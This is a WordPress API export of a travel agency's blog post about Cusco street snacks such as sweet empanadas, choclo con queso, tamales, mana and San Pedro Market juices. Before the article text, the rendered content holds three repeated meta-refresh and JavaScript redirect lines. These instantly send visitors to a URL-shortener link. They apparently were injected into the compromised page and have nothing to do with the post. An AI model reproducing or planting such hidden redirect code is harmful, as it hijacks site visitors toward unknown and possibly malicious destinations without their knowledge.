{"id":18503,"date":"2025-09-23T09:36:23","date_gmt":"2025-09-23T14:36:23","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=18503"},"modified":"2025-09-23T16:00:12","modified_gmt":"2025-09-23T21:00:12","slug":"the-best-street-food-and-snacks-in-cusco","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-street-food-and-snacks-in-cusco\/","title":{"rendered":"The Best Street Food and Snacks in Cusco"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Peruvian cuisine continues to win admirers year after year\u2014and its street food is no exception. In fact, one of the country\u2019s best-kept secrets lies in <strong>Cusco\u2019s irresistible snacks<\/strong>.&nbsp;<\/p>\n\n\n\n<p>This time, we\u2019ll introduce you to some treats you can only find in the ancient Inca capital. Also, we&#8217;ll explain why they\u2019re a must-try on your next visit. So, let\u2019s dive in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Empanada<\/strong><\/h2>\n\n\n\n<p>To begin with, the first item on our Cusco street food is the empanada. However, this is not your typical empanada, I mean, savory and with filling inside. <\/p>\n\n\n\n<p>In Cusco, we also call it&nbsp; \u201cempanada,\u201d a small, rectangular pastry with sprinkles and an egg yolk adorning it.<\/p>\n\n\n\n<p>These pastries date back to colonial times. Cloistered nuns in Cusco\u2019s convents made them using available ingredients. <\/p>\n\n\n\n<p>Over time, the recipe spread throughout the city and became a symbol of Cusco\u2019s<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-routes-for-an-unforgettable-holy-week-in-peru\/\"><strong>Holy Week<\/strong>.<\/a> The traditional recipe calls for beating flour and powdered sugar. <\/p>\n\n\n\n<p><br>Also, add lard and mix for about 30 minutes, until you form a smooth dough.&nbsp;The dough is then rolled out, cut, decorated, and baked for about 20 minutes. The result is a crisp, delicate, and flavorful empanada.<\/p>\n\n\n\n<p>If you visit Cusco during Holy Week, don\u2019t miss the chance to taste these sweet empanadas. You\u2019ll find them in restaurants, street stalls, and even in family homes that continue the tradition. Sweet empanadas are more than tasty treats, as they connect Cusco to its history, faith, and cultural identity.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/empanadas-cusco-1024x1024-1.jpg?resize=697%2C697&#038;ssl=1\" alt=\"A man holding a Cusco's empanada dulce or sweet empanada in Santa Catalina's arch\" class=\"wp-image-16753\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/empanadas-cusco-1024x1024-1.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/empanadas-cusco-1024x1024-1.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/empanadas-cusco-1024x1024-1.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/empanadas-cusco-1024x1024-1.jpg?resize=768%2C768&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Choclo con queso<\/strong><\/h2>\n\n\n\n<p>In Cusco and throughout the Sacred Valley, it\u2019s common to see women sitting on street corners with huge pots, offering one of the most traditional Andean snacks: <strong>choclo con queso<\/strong>.<\/p>\n\n\n\n<p>This simple yet delicious dish consists of a hearty piece of boiled giant <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-golden-legacy-of-the-peruvian-corn\/\"><strong>white corn<\/strong><\/a> paired with a slice of fresh cheese.&nbsp;<\/p>\n\n\n\n<p>The combination is irresistible, and if you add a spoonful of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-saucy-superstars-a-tasty-tale-of-native-sauces\/\"><strong>uchucuta sauce<\/strong><\/a> (a spicy Peruvian chili herb sauce), you\u2019ll truly be in heaven.<\/p>\n\n\n\n<p>The secret lies in the unique variety of corn known as \u201cchoclo\u201d or giant white corn, famous for its oversized kernels, starchy texture, and mild flavor. It\u2019s the perfect example of how Peruvian cuisine elevates simple ingredients into unforgettable flavors.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/64417cf881b8cb4cb36c0c57.png?resize=697%2C383&#038;ssl=1\" alt=\"Choclo con queso, and two kinds of sauce, uchucuta and spicy sauce on the top\" class=\"wp-image-18510\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/64417cf881b8cb4cb36c0c57.png?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/64417cf881b8cb4cb36c0c57.png?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/64417cf881b8cb4cb36c0c57.png?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/64417cf881b8cb4cb36c0c57.png?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Tamales<\/strong><\/h2>\n\n\n\n<p>People everywhere in Peru, but in Cusco, call it \u201chumitas\u201d as they\u2019re small, compact, and sweet, but let me tell you that the flavor is something really different.&nbsp;<\/p>\n\n\n\n<p>Although they\u2019re popular in almost all of Latin America, Cusco\u2019s tamales have raisins and cinnamon on them. Savory ones have red onion, some olives, and pieces of meat on them.&nbsp;<\/p>\n\n\n\n<p>You can find \u201ctamaleros\u201d almost everywhere around, but we recommend the ones next to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas.&nbsp;<\/strong><\/a><\/p>\n\n\n\n<p>They\u2019re considered by many to be the most traditional and delicious tamales in the city. Don\u2019t forget to pick some when you\u2019re wandering around the historic core!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-22.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Coffe and opened sweet tamal in an andean blanket\" class=\"wp-image-18509\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-22.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-22.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-22.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-22.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Papa con huevo<\/strong><\/h2>\n\n\n\n<p>Another simple yet delicious Cusque\u00f1an snack is <strong>\u201cpapa con huevo\u201d<\/strong>\u2014boiled potatoes served with a hard-boiled egg.&nbsp;<\/p>\n\n\n\n<p>Beloved by many locals, it\u2019s the perfect bite to start the day with something in your stomach or to enjoy as a quick snack before lunch.<\/p>\n\n\n\n<p>What makes it truly special is not only the freshness of the egg but also the type of potato used. As you may know, Peru is the <strong>home of potatoes<\/strong>, home to more than <strong>3,500 varieties<\/strong>.&nbsp;<\/p>\n\n\n\n<p>If you get the chance to try this snack with native or specialty potatoes, it\u2019s an experience you\u2019ll never forget. To elevate the flavor, you can pair it with different sauces:&nbsp;<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-magic-of-huacatay-perus-unique-andean-herb\/\"><strong><em>huacatay<\/em><\/strong><strong> sauce <\/strong><\/a>(a mint-like herb sauce), <em>uchucuta<\/em> (a spicy herb blend), <em>picante<\/em>, or even simple mayonnaise.&nbsp;<\/p>\n\n\n\n<p>Whichever you choose, you\u2019re guaranteed to fall in love with this humble yet unforgettable Cusque\u00f1an snack.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"686\" height=\"386\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/hq720-4.jpg?resize=686%2C386&#038;ssl=1\" alt=\"Potaotes and eggs, papa cpn huevo and huacatay sauce on the top\" class=\"wp-image-18508\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/hq720-4.jpg?w=686&amp;ssl=1 686w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/hq720-4.jpg?resize=300%2C169&amp;ssl=1 300w\" sizes=\"auto, (max-width: 686px) 100vw, 686px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Mana&nbsp;<\/strong><\/h2>\n\n\n\n<p>Mana is one of Cusco\u2019s favorite snacks, loved by people of all ages. They make it from pisanquella corn, which they press in special high-pressure machines, lightly sweeten, and sometimes color with food dye. <\/p>\n\n\n\n<p>The process is almost as fun as the snack itself: after the corn is slightly moistened, it\u2019s placed in the machine, where it suddenly pops and bursts\u2014almost like a small explosion. Once you sift the sugar, you add it, giving it its signature crunchy sweetness.<\/p>\n\n\n\n<p>Best of all, <em>mana<\/em> is affordable and easy to find. For just <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/uncovering-stories-of-perus-one-sol-coin\/\"><strong>1 sol<\/strong><\/a>, you can pick up a bag from almost any street vendor or corner shop in Cusco. Simple, crunchy, and nostalgic, it\u2019s a true Cusque\u00f1an classic.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/d9c5ac9b-3838-427b-8823-99ff4ddf9907.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Mana or as other people call it &quot;chichasara&quot;\" class=\"wp-image-18507\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/d9c5ac9b-3838-427b-8823-99ff4ddf9907.jpg?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/d9c5ac9b-3838-427b-8823-99ff4ddf9907.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/d9c5ac9b-3838-427b-8823-99ff4ddf9907.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/d9c5ac9b-3838-427b-8823-99ff4ddf9907.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fruit juices<\/strong><\/h2>\n\n\n\n<p>Peru is blessed with an abundance of native, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-discover-perus-native-exotic-fruits\/\"><strong>exotic, and fresh fruits<\/strong><\/a> that will fascinate you from the very first taste.&nbsp;<\/p>\n\n\n\n<p>Imagine fruits with names you\u2019ve never heard of, unusual flavors, curious shapes, and endless combinations\u2014that\u2019s exactly what you\u2019ll discover in Cusco\u2019s bustling markets.<\/p>\n\n\n\n<p>One of the best places to experience this is <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/san-pedro-market-cuscos-most-traditional-spot\/\"><strong>San Pedro Market<\/strong><\/a>, a traditional hub where food and culture meet.&nbsp;<\/p>\n\n\n\n<p>Beyond the irresistible Peruvian street food, the market is famous for its <strong>juguer\u00edas<\/strong> (juice stalls), where you\u2019ll find every juice imaginable.<\/p>\n\n\n\n<p>These juices are favorites not only among locals but also among visitors, who can enjoy a refreshing, nutritious drink at an excellent price.&nbsp;<\/p>\n\n\n\n<p>Vendors proudly claim that their juices are 100% natural, with no added water or sugar. Choices range from a simple fresh orange juice to more adventurous blends that may include milk, honey, maca, pollen, or even beer!<\/p>\n\n\n\n<p>A visit to Cusco wouldn\u2019t be complete without stopping by San Pedro Market to sip on one of these vibrant creations.&nbsp;<\/p>\n\n\n\n<p>Better yet, let your imagination guide you to create your own unique fruit juice combination\u2014you\u2019ll surprise yourself with how good it tastes!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/552057056_2095080347693236_6012696861718132330_n.jpg?resize=697%2C929&#038;ssl=1\" alt=\"Picture divided in three, the one above shows a lady in her fruit juice stall serving juice, below right there's a fruit stall that contains tangerine, bananas, custard apple, dragon fruit, grapes, etc,, and next to it a freshly made &quot;combinado juice that contains apple, papaya, pinapple, banana, and more.\" class=\"wp-image-18522\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/552057056_2095080347693236_6012696861718132330_n.jpg?w=1080&amp;ssl=1 1080w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/552057056_2095080347693236_6012696861718132330_n.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/552057056_2095080347693236_6012696861718132330_n.jpg?resize=768%2C1024&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Your Cusco trip won&#8217;t be complete untill you visit a fruit juice stall in San Pedro Market.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Tocto<\/strong><\/h2>\n\n\n\n<p>Pig is one of Peru&#8217;s all-time favorites, so in our vast cuisine, we have lots of dishes with pork being the protagonist, such as the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peru-is-key-pan-con-chicharron-the-best-breakfast\/\"><strong> pan con chicharron,<\/strong><\/a> or pork sandwich, which contains sarsa criolla and, mainly, sweet potato.<\/p>\n\n\n\n<p>Although this Andean snack is not as filling as pan con chicharr\u00f3n, it\u2019s loved by many for its price and convenience.<\/p>\n\n\n\n<p>People know it for its crunchy texture and bold flavor. You can enjoy it both as a snack on its own and as a topping that adds crispiness to soups and stews.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-21.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Tocto, or crispy deep frie pork skin\" class=\"wp-image-18505\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-21.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-21.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-21.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/maxresdefault-21.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than just snacks<\/strong><\/h2>\n\n\n\n<p>Food in Cusco does not have anything to envy if we compare it to other regions in Peru. Although the ones on this list are the most popular ones, in holy week, you can try other typical <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/a-tasty-journey-through-cuscos-iconic-desserts\/\"><strong>Cusco snacks and desserts.<\/strong><\/a><\/p>\n\n\n\n<p>Likewise,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-peruvian-street-foods-a-guide-to-tasty-bites\/\"><strong> Peruvian street food i<\/strong><\/a>s filled with many other flavors that you must discover.&nbsp; In addition, in that article, you can see some tips to enjoy street food to the best.<\/p>\n\n\n\n<p>To learn more about Peruvian flavors, stories, places, and culture, stay tuned! Also, keep in mind that Viagens Machu Picchu is our best ally for your Peruvian trip.&nbsp;<\/p>\n\n\n\n<p>So, please, feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a>, so you can get information about our tours, promotions, and best deals! The adventure in Peru awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cusco street food is a cultural feast: from sweet colonial empanadas and giant corn with cheese to tamales, papa con huevo, crunchy mana, exotic juices, and crispy tocto. Each bite reflects the city\u2019s heritage, traditions, and love for simple yet unique flavors.<\/p>\n","protected":false},"author":1,"featured_media":18531,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[206,194,1850],"tags":[2924,6312,6308,6309,4767,1754,6311,4805,723,6310,1891,1658,1766,1921],"class_list":["post-18503","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cusco","category-destinations","category-food","tag-choclo-con-queso","tag-con-huevo","tag-cusco-street-food","tag-food-in-cusco","tag-fresh-fruits","tag-ll-find","tag-mana","tag-peruvian-street-food","tag-plaza-de-armas","tag-pork-sandwiches","tag-red-onion","tag-sacred-valley","tag-san-pedro-market","tag-sweet-potato"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/09\/2d711de6-e3f3-4df4-bfb5-6000b0963521.png?fit=1536%2C1024&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4Or","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18503","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=18503"}],"version-history":[{"count":8,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18503\/revisions"}],"predecessor-version":[{"id":18551,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18503\/revisions\/18551"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/18531"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=18503"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=18503"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=18503"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}